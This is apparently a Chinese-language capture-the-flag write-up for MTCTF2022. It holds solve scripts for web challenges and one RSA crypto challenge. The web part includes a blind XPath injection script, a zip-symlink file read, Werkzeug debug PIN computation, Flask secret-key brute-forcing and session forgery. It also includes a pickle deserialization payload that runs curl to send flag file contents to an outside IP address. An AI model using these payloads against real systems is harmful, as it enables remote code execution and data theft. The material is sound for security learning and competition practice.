MTCTF2022
目录
WEB
babyjava
xpath注入
参考: XPATH注入学习 - 先知社区 (aliyun.com)
类似于sql注入,通过注入获取节点信息
语法
- “nodename” – 选取nodename的所有子节点
- “/nodename” – 从根节点中选择
- “//nodename” – 从当前节点选择
- “..” – 选择当前节点的父节点
- “child::node()” – 选择当前节点的所有子节点
- “@” -选择属性
- “//user[position()=2] " 选择节点位置
盲注
' or count(/)=1 and ''=' # 根节点数量
' or count(/*)=1 and ''=' # 根节点下子节点个数
' or string-length(name(/*[1]))=4 and ''=' # 根节点下节点长度
' or substring(name(/*[1]),2,1)='a' and ''=' # 根节点下节点名称,第二个字符是否为a
' or count(/root)=1 and ''=' # root节点下节点个数
' or string-length(name(/root/*[1]))=4 and ''=' # root第一个子节点长度
' or substring(name(//user[position=1]/username[position=2]),2,1)='l' and ''='
# 第一个user下第二个username值,第二个字符是否为l
节点信息
root
1 len:4 user
2 len:8 username
len:8 username
payload
import requests
url = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
for i in range(1, 100):
for j in strs:
payload_1 = { # root
"xpath":"' or substring(name(/*[1]), {}, 1)={} and ''='".format(i,j)
}
payload_2 = { # user
"xpath":"'or substring(name(/root/*[1]), {}, 1)={} and ''='".format(i,j)
}
payload_3 = { # username
"xpath":"'or substring(name(/root/user/*[2]), {}, 1)={} and ''='".format(i,j)
}
payload_4 = { # flag
"xpath":"' or substring(name(//user/username[2]), {}, 1)={} and ''='".format(i,j)
}
r = requests.post(url=url, headers=head, data=payload_4)
if "user1" in r.text:
flag += j
print(flag)
OnlineUnzip
上传zip,解压显示
软链接任意读取
类似快捷方式,网站后台解压会读取该软链接指向的文件,做到读取任意文件
# 读根目录
ln -s / .a
zip --symlinks root.zip .a
发现ffffl111l1a44a4ggg,读取发现无权限,算pin值
PIN值
在flask下,可通过pin启动python交互式调试器
import hashlib
from itertools import chain
probably_public_bits = [
'ctf' # flask登录的用户名,/etc/passwd
'flask.app', # modname,默认值
'Flask', # getattr(app, “name”, app.class.name),默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # app.py路径,报错得到
]
private_bits = [
'95532807882', # mac地址十进制,/sys/class/net/eth0/address
'96cec10d3d9307792745ec3b85c8962019b065577048ffd94233375ed305835825f08ca636839a3cf042ee07df0ef676' # 机器id,/etc/machine-id+/proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
进入后读取文件
import os
os.popen('cat /ffffl111l1a44a4ggg').read()
easypickle
python的pickle反序列化
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
flask伪造session
flask将session存在客户端,只经过base64编码和秘钥签名
爆破key
生成四位十六进制字典
crunch 4 4 1234567890"abcdef" >> baopo.txt
爆破工具 https://github.com/Paradoxis/Flask-Unsign
pip install flask-unsign[wordlist] # 安装
flask-unsign -u --no-literal-eval --wordlist baopo.txt --server [url] # 字典爆破
得到key bee6
伪造session
https://github.com/noraj/flask-session-cookie-manager
python flask_session_cookie_manager3.py enocde -s "bee6" -t "{'user':'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.Yy_huw.1xsjHN3OtwwMCBzwq7ex4gLhilo
进入admin
pickle反序列化
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
蓝帽杯 2022 web/misc writeup - ek1ng’s Blog
反弹Shell,看这一篇就够了 - 腾讯云开发者社区-腾讯云 (tencent.com)
序列化
import base64
opcode = b'''c__builtin__
map
p0
0(S'curl http://175.178.47.228:9999/?q=`cat f*`'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
print(base64.b64encode(opcode))
伪造session
python3 flask_session_cookie_manager3.py encode -s "d0c0" -t "{'user':'admin','ser_data':'Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnY3VybCBodHRwOi8vMTc1LjE3OC40Ny4yMjg6OTk5OS8/cT1gY2F0IGYqYCcKdHAxCjAoY29zCnN5c3RlbQpnMQp0cDIKMGcwCmcyCoFwMwowY19fYnVpbHRpbl9fCmJ5dGVzCnA0CihnMwp0gS4='}"
发送,得到flag
Crypto
strange_rsa1
from Crypto.Util.number import *
from sage.all import RealField
from secret import flag1
Bits = 512
p = getPrime(Bits)
q = getPrime(Bits)
n = p * q
gift = RealField(prec=Bits*2)(p) / RealField(prec=Bits*2)(q)
e = 0x10001
m = bytes_to_long(flag1)
c = pow(m, e, n)
output = open('output.txt', 'w')
output.write('n = ' + str(n) + '\n')
output.write('c = ' + str(c) + '\n')
output.write('gift = ' + str(gift) + '\n')
output.txt
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
因为gift = p/q,n = p * q,所以gift * n = p^2
考虑精度,先将gift去掉小数点,乘积后再舍位
from Crypto.Util.number import *
import gmpy2
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
g = 9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
e = 0x10001
p = gmpy2.iroot(int(str(n*g)[:-307]),2)[0]
q = n//p
fn = (p-1)*(q-1)
d = gmpy2.invert(e,fn)
m = pow(c,d,n)
s = long_to_bytes(m).decode()
print(s)